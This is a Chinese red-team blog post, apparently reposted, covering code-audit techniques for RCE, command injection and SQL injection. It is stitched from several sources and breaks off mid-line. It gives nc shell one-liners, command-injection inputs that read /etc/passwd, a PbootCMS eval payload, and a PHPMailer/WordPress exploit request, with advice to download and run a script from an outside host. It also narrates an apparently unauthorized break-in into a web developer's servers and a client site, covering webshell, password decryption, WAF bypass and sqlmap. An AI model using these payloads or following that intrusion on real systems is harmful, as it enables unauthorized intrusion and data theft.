当前位置:   article > 正文

红队专题-漏洞挖掘代码审计-RCE-SSRF_ueditor ssrf

ueditor ssrf

在这里插入图片描述

代码审计

代码审计中远程命令执行漏洞

https://mp.weixin.qq.com/s/NiVF5dPfJsf-qHXcpZEYJA

在这里插入图片描述

https://www.kancloud.cn/noahs/src_hacker/2395055

RCE远程命令/代码执行 OS command injection

remote command/code execute

查询的域名后面加一个分号然后加命令即可成功执行命令

或者利用nc命令,反弹shell

&& nc -vlp 4444 -e /bin/bash

sudo netstat -plant | grep 4444

nc -vv 10.0.3.198 4444

在这里插入图片描述

python -c “import pty;pty.spawn(‘/bin/bash’)” //这里要注意引号啊
在这里插入图片描述
$(nc -vlp 4444 -e /bin/bash)

|nc -vlp 4444 -e /bin/bash

概述

RCE漏洞,
可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
一般出现 远程系统命令执行 这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,
后台会对该IP地址进行一次ping测试,并返回测试结果。
如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,让应用去调用代码或者系统命令执行函数去处理
从而让后台进行执行,从而控制整个后台服务器 没有考虑用户是否可以控制这些函数的参数问题,没有做好检测和过滤。

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。

在这种平台上往往会出现远程系统命令执行的漏洞
远程代码执行同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断, 比如实施严格的白名单策略会是一个比较好的方法。

命令注入Command Injection

在这里插入图片描述

黑客通过利用HTML代码输入机制缺陷
(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。
从而可以使用系统命令操作,实现使用远程数据来构造要执行的命令的操作。

RCE 漏洞函数

代码执行

  • php

php里面可以执行命令的函数

1、参数拼接方式皆有可能产生SQL注入(老生常谈)

2、全局变量注册导致的变量覆盖

3、fwrite参数未过滤导致的代码执行

4、权限校验疏漏导致的后台功能访问

5、接口任意文件上传

6、unserialize反序列化漏洞


eval()
assert()
preg_replace()
call_user_func()
call_user_func_array()
array_map()

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

命令注入执行

  • php

执行外部的应用程序或函数:

原型如下:

 string system(string command, int &return_var)
  command 要执行的命令; 
  return_var 存放执行命令的执行后的状态值。
  
  string exec (string command, array &output, int &return_var) 
  command 要执行的命令,
  output 获得执行命令输出的每一行字符串,
  return_var 存放执行命令后的状态值。
  
  void passthru (string command, int &return_var) 
  command 要执行的命令,
  return_var 存放执行命令后的状态值。
  
  string shell_exec (string command) 
  command 要执行的命令,

popen
passthru、proc_open

 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • python

eval
exec 
subprocess 
os.system 
commands 


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • java
    没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数

反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL.

  • 1
  • 2
  • 3

示例

pboot cms 存在RCE漏洞

打开源码,搜索rce漏洞函数
在这里插入图片描述
查看代码,发现大概率存在漏洞,看看参数是否可控
在这里插入图片描述

追踪调用函数,查看是那个代码文件调用了eval函数

流程:搜索特定函数->parserIfLabel->parserCommom->About&Content

确认是谁调用之后,构造payload

在线留言处提交payload保存

payload:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在这里插入图片描述

然后来到管理员后台,开启留言
在这里插入图片描述
回到在线留言页面,post传递参数
在这里插入图片描述
参数值为要执行的代码,点击提交成功执行
在这里插入图片描述
可以将参数值更改为命令执行函数,执行系统命令
在这里插入图片描述

使远程服务器执行“whoami”的命令

表示通过提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd操作,
执行命令变成了system(“ls -al | cat /etc/passwd”),
输出/etc/passwd 文件的具体内容。

       //ex1.php 

      <?php

      $dir = $_GET["dir"]; 

      if (isset($dir)) 

      { 

          echo ""; 

          system("ls -al ".$dir); 

         echo ""; 

      } 

      ?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

服务器配置:apache+php+Mysql;
实验网址(http://10.1.1.11:81)


在这里插入图片描述在这里插入图片描述
程序获取GET参数ip,然后拼接到system()函数中,利用system()函数执行ping的功能,
但是此处没有对参数ip进行过滤和检测,
导致可以利用管道符执行其它的系统命令

“|”在windows中的意思是:把前面的结果当成后面的输入,
我们用ip=127.0.0.1|whoami来试一下
在这里插入图片描述
后面的命令执行成功,得到我们的身份是system在这里插入图片描述
“&”在windows中的意思是:两条命令一起执行,先执行前面再执行后面,
我们用ip=127.0.0.1&whoami来试一下在这里插入图片描述
原因是在ulr中,“&”是一个连接符号,会被转义成“%26”,
那我们直接使用“%26”,它就会被转义成真正的“&”,
所以我们不妨使用ip=127.0.0.1%26whoami再试一下在这里插入图片描述“||”在windows中的意思是:当前面一个执行失败,则执行后面的,
我们用ip=127.0.0.1||whoami来试一下在这里插入图片描述
这一次whoami命令并没有被执行,这是因为前面的命令可以执行,
我们只要把前面的命令搞成不能执行的,让它自动执行下一条命令,
根据前面提供的关键代码,我们知道只要传入了正常的ip地址,
命令(ping)就会成功执行,所以我们试试把ip地址消除,
用ip=||whoami来试一下在这里插入图片描述

#使远程服务器执行ipconfig命令

在这里插入图片描述

preg_match() 函数用于进行正则表达式匹配,
成功返回 1 ,否则返回 0 。
preg_match() 匹配成功一次后就会停止匹配,
如果要实现全部结果的匹配,则需使用 preg_match_all() 函数。

header()函数的作用是:
发送一个原始 HTTP 标头[Http Header]到客户端。
标头 (header) 是服务器以 HTTP 协议传 HTML 资料到浏览器前所送出的字串,
标头与 HTML 文件之间尚需空一行分隔。

这段代码对ip地址进行了简单的过滤,如果它匹配到,它会执行下面system那条命令,
如果它没有匹配到,它就无法执行下面那条命令(即ping),

首先想到的思路就是让它发生错误,执行失败,
使用双管道让它执行ipconfig,接下来我们用ip=127.||ipconfig试一下:
在这里插入图片描述使用单管道(ip=127.0.0.1|ipconfig)试一试:在这里插入图片描述我们使用“%26”(ip=127.0.0.1%26ipconfig)试一试:在这里插入图片描述

我们可以通过ping命令返回结果中的TTL项查看服务器的操作系统:
LINUX——64
WIN2K/NT——128
WINDOWS系列——32
UNIX系列——255(前面为操作系统,后面为TTL值)
通过ping返回结果,看TTL值与哪项最为接近,服务器就是哪个操作系统。在这里插入图片描述TTL值为52,则它与64之间跨了12个路由,所以它的服务器应该是LINUX。

接下来补充一些常用的管道符:

Windows系统支持的管道符如下:

“|”:直接执行后面的语句。
“||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
“&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:

“;”:执行完前面的语句再执行后面的语句。
“|”:显示后面语句的执行结果。
“||”:当前面的语句执行出错时,执行后面的语句。
“&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Java代码审计

注入

  • sql注入
1、SQL注入漏洞简介

(1)SQL注入攻击是黑客利用SQL注入漏洞对数据库进行攻击的常用手段之一。
攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,
网站应用程序未经过滤,便将恶意SQL语句带入数据库执行。

(2)SQL注入漏洞可能会造成服务器的数据库信息泄露、数据被窃取、网页被篡改,甚至可能会造成网站被挂马、服务器被远程控制、被安装后门等。

(3)SQL注入的分类较多,一般可笼统地分为数字型注入与字符串型注入两类;
当然,也可以更加详细地分为联合查找型注入、报错注入、时间盲注、布尔盲注等


2、SQL注入的条件
(1)输入用户可控。
(2)直接或间接拼入SQL语句执行。

3、审计方法
对于SQL注入漏洞审计,常见的方法是,

根据SELECT、UPDATE等SQL关键字或是

通过执行SQL语句定位到存在SQL语句的程序片段,随后通过查看SQL语句中

是否存在变量的引用并跟踪变量是否可控。

因SQL注入漏洞特征性较强,在实际的审计过程中我们往往可以通过一些自动化审计工具快速地发现这些可能存在安全问题的代码片段。如使用Fortify等自动化工具。




Java语言本身是一种强类型语言,
因此在寻找SQL注入漏洞的过程中,可以首先找到所有包含SQL语句的点,随后观察传参类型是否是String类型,只有当传参类型是String类型时我们才可能进行SQL注入。


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

CodeQLpy - java

seay

fortify

JAVA中执行SQL的几种方式

(1)使用JDBC的java.sql.Statement执行SQL语句
Statement是Java JDBC下执行SQL语句的一种原生方式,执行语句时需要通过拼接来执行。若拼接的语句没有经过过滤,将出现SQL注入漏洞

使用方法如下:

//注册驱动
Class.forName("oracle.jdbc.driver.0racleDriver")
//获取连接

Connection conn = DriverManager.getConnection(DBURL,DBUser,DBPassWord);
//创建 Statement 对象

Statement state = conn.createStatement);

//执行 SQL
String sql="SELECT*FROM user WHERE id="+id+"";

state. executeQuery(sql);


(2)使用JDBC的java.sql.PreparedStatement执行SQL语句

https://mp.weixin.qq.com/s/jt5hQ5o-0EVjoVp9UJX2fA
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

内存的基本概念

差异备份 注入

java基本语法

代码审计

在这里插入图片描述
在这里插入图片描述

  • 漏洞挖掘 —— 代码审计
  1. 原理
    可控变量 功能函数
  2. 原理 衍生 思路
  3. 指定/随机 漏洞
    指定 -----> 寻找指定漏洞关键字 (函数,变量)
    随机 -----> 可控变量 (接受方式关键字 eg:$_SET )
  4. 工具 环境
    遍历文件 查找软件 (审计系统 , 光速/闪电搜索)
    在这里插入图片描述
    • 抓包
    • 数据库 监控 动作分析

实战渗透-fofa-dirBrute-代码审计-构造poc-ueditor-解密-过waf-Godzilla

  • 关键词 —> 目标源码
    主域名
    没有子域
  1. 信息收集

在这里插入图片描述

  1. 中间件
    IIS 8.5
    在这里插入图片描述
    输入admin发现自动添加了/ ------> 说明其目录存在,
    盲猜 文件,login.aspx default.aspx main.aspx 等等
    在这里插入图片描述
    最终在login.aspx下面发现后台登录页面。
    猜弱口令 -----> 账号被锁

在这里插入图片描述
html代码中发现了某处信息
在这里插入图片描述
author : 设计制作?
根据后面的域名访问过去,是一个建站公司

IIS8.5+ASP.NET+建站系统------> 扫一波备份文件:
在这里插入图片描述

400多条ip这开发商还行
使用FOFA查询工具,批量导出
在这里插入图片描述

扫一下备份文件 ----->B哥的扫描器

传送门
在这里插入图片描述
可以进行批量存活扫描和目录扫描 ------>在好几个站下面发现web.zip备份文件

下载下来过后,对其目标站点文件进行了对比。基本一致

在这里插入图片描述

  • 拿到代码开始审计

在这里插入图片描述
某接口处放下敏感操作 WebClient.DownloadFile (远程文件下载)

该方法需要提供绝对路径----->跟踪相关参数
另一个方法中调用了该方法

在这里插入图片描述

并传入Server.MapPath,这根本不需要找绝对路径了系统都给你安排好了

那么构造POC:

ashx/api.ashx?m=downloadfile&FilePath=asmx.jpg&WebUrl=http://***.cn/
  • 1

在这里插入图片描述

访问地址:

在这里插入图片描述
文件存在,那么证明可行
回到目标地址:

在这里插入图片描述

被修复了文件不存在
继续回到代码中,审计其他漏洞在其他接口中,也均存在多个漏洞。
如ueditor远程抓取漏洞

在这里插入图片描述
文件重命名可Getshell
在这里插入图片描述
这些接口都需要登录
在这里插入图片描述
在一些无需登录的接口中尝试寻找SQL注入

某处发现SQL拼接在这里插入图片描述
这里调用了IsSafeSqlString检测

在这里插入图片描述
常见符号基本被卡的死死的

  • 拿下开发商寻找通用账号逆向加解密算法

使用了相同的建站程序,怀疑有程序内置账户
通过刚才审计出来的漏洞。
从同程序的站点入手

某个站点成功拿到Webshell

相关信息

在这里插入图片描述
居然是厂商的演示站群,存了该开发商所有站点源码。
---->
应该是在开发过程中的演示环境吧站点有很多,估计每个客户都有。

在服务器里翻到了目标站点的演示网站

在这里插入图片描述

根目录下有zip网站备份和sql 数据库备份。
如果说目标站点是直接搬迁过去的,那么后台账户密码应该是一样的。
将其SQL文件下载下来。再其中搜索相关信息

在这里插入图片描述
发现了插入账户的SQL语句。其密码是加密过的

在这里插入图片描述
cmd5解不开,看了下密文是33位加密。
但是登录过程中,密码是RSA加密过后传输的,而后端居然是33位的md5加密

在这里插入图片描述
有源代码,追踪了一下登录了相关方法

在这里插入图片描述
密码传入后,调用了CommFun.EnPwd进行了一次加密。
追踪EnPwd方法

在这里插入图片描述
可以看到,传入进来的密码是RSA类型,先进行了一次RSA解密,然后进行了一次DES加密。
追踪DESEncrypt.Encrypt方法。

在这里插入图片描述
这里是将Encrypt方法封装了一下,并传入加密key。
其核心加密方法为下:

在这里插入图片描述
并且,在该类里。还定义了解密方法

在这里插入图片描述
得到了加密方法和解密方法以及key。那么只需要将其单独拉出来调用就可以了

在这里插入图片描述
将得到加密字符进行解密,得到结果

在这里插入图片描述
尝试登录

在这里插入图片描述

  • 柳暗花明拿下目标shell
    准备尝试绕过SQL过滤。
    就在这时候,我发现了一处SQL注入点。

在这里插入图片描述
某方法接收了两个参数,却只对一个参数进行了过滤。
在目标网站上测验

在这里插入图片描述
存在注入,发现存在waf使用垃圾参数填充成功绕过waf

在这里插入图片描述
直接上sqlmap安心的跑,得到系统账户以及密文

在这里插入图片描述
将得到的密文进行解密,得到结果

在这里插入图片描述
尝试登录

在这里插入图片描述
经过之前的审计,发现了很多接口都存在漏洞,现在成功登录了。岂不是随便getshell

直接ueditor带走

在这里插入图片描述

CVE-2022-1388命令执行F5 BIG-IP iControl REST

漏洞概述

2022年5月6日,F5官方发布了BIG-IP iControl REST的风险通告,
漏洞编号为CVE-2022-1388,漏洞等级为严重。

F5 BIG-IP是美国F5公司的一款集成了网络流量、应用程序安全管理、负载均衡等功能的应用交付平台。

iControl REST是iControl框架的演变,使用REpresentational State Transfer。这允许用户或脚本与设备之间进行轻量级、快速的交互。

组件:F5 BIG-IP iControl REST
漏洞类型:身份验证绕过
影响:命令执行
简述:该漏洞允许未经身份验证的攻击者通过管理口或自身ip地址对BIG-IP系统进行系统访问,以执行任 意系统命令,
创建或删除文件以及禁用BIG-IP上的服务。

漏洞验证

版本:BIGIP-13.1.3.3-0.0.6
需要到F5官方去进行账号注册后,要半天时间才能收到激活邮件,才能下载F5的镜像,然后需要用邮件中发送的激活码将F5激活。

参考安装
https://blog.csdn.net/weixin_37569048/article/details/100052755

我这里选择的是低版本,
系统用户账号密码:root/default,web密码:admin/admin。
高版本激活比较复杂,还需要更改系统密码,web密码也有更改,在网上没找到。

F5官网:F5官网
https://www.f5.com.cn/trials
F5下载地址:下载
https://login.f5.com/resource/login.jsp?ctx=719748

banner

在这里插入图片描述

访问 地址ip+/mgmt/shared/authn/login,如果返回中存在 resterrorresponse,则说明存在漏洞。

php-RCE+Struts2拿webshell

原地址: 第六十二课-拿webshell篇-命令执行漏洞拿webshell
Cracer网络渗透全部教程

普通权限 命令执行 拿 webshell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

CMD echo 写入一句话 php文件

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

同级目录写入文件
在这里插入图片描述
在这里插入图片描述

菜刀连接

在这里插入图片描述
在这里插入图片描述

Struts2 拿 webshell

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Wordpress 4.6 PwnScriptum RCE命令执行

目标介绍

WordPress 是一种使用 PHP 语言开发的博客平台,
用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。
也可以把 WordPress 当作一个内容管理系统(CMS)来使用。

WordPress有许多第三方开发的免费模板,安装方式简单易用。
不过要做一个自己的模板,则需要你有一定的专业知识。
比如你至少要懂的标准通用标记语言下的一个应用HTML代码、CSS、PHP等相关知识。
WordPress官方支持中文版,同时有爱好者开发的第三方中文语言包,如wopus中文语言包。WordPress拥有成千上万个各式插件和不计其数的主题模板样式。

漏洞来源

历史漏洞CVE-2016-10033
PHPMailer
WordPress 使用 PHPMailer 组件向用户发送邮件。
PHPMailer(版本 < 5.2.18)
存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,
造成远程命令执行的危害。

CVE-2016-10033 https://paper.seebug.org/161/

影响版本

WordPress <= 4.6.0 PHPMailer < 5.2.18

CVE-2016-10033 Vulhub靶场搭建

 编译及运行测试环境

docker-compose build
docker-compose up -d
  • 1
  • 2
  • 3
  • 4

初始化管理员用户名和密码
访问http://your-ip:8080/

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

复现过程

漏洞缺陷处在后台找回密码的地方
密码重置界面/wp-login.php?action=lostpassword

在找回密码时WordPress会使用PHPmailer发送重置密码的邮件,
这个时候PHPmailer<=5.2.18时存在RCE。

http://127.0.0.1:8080/wp-login.php?action=lostpassword

在这里插入图片描述
登录页点击忘记密码,在用户名或电子邮件地址输入框输入aming(我注册时填的是aming)。
点击获取新密码,使用burp拦截抓包。

利用条件&问题注意点

1.执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。
所以我们需要将待执行的命令放到第三方网站中
然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行
2.该命令将转换为小写字母
3.命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是aming

命令只在服务器端执行命令、不会显示在客户端

解决办法

1、payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替

2、payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

Payload,在tmp处添加success文件
xxxxxx(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null) 

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

修改请求头Host的值
将Host的值完全修改为payload,不再包含IP地址

POST /wp-login.php?action=lostpassword HTTP/1.1

Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)

Connection: close

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Accept: */*

Content-Length: 58

Content-Type: application/x-www-form-urlencoded



wp-submit=Get+New+Password&redirect_to=&user_login=aming


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

在这里插入图片描述

┌──(root
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/639167
推荐阅读
相关标签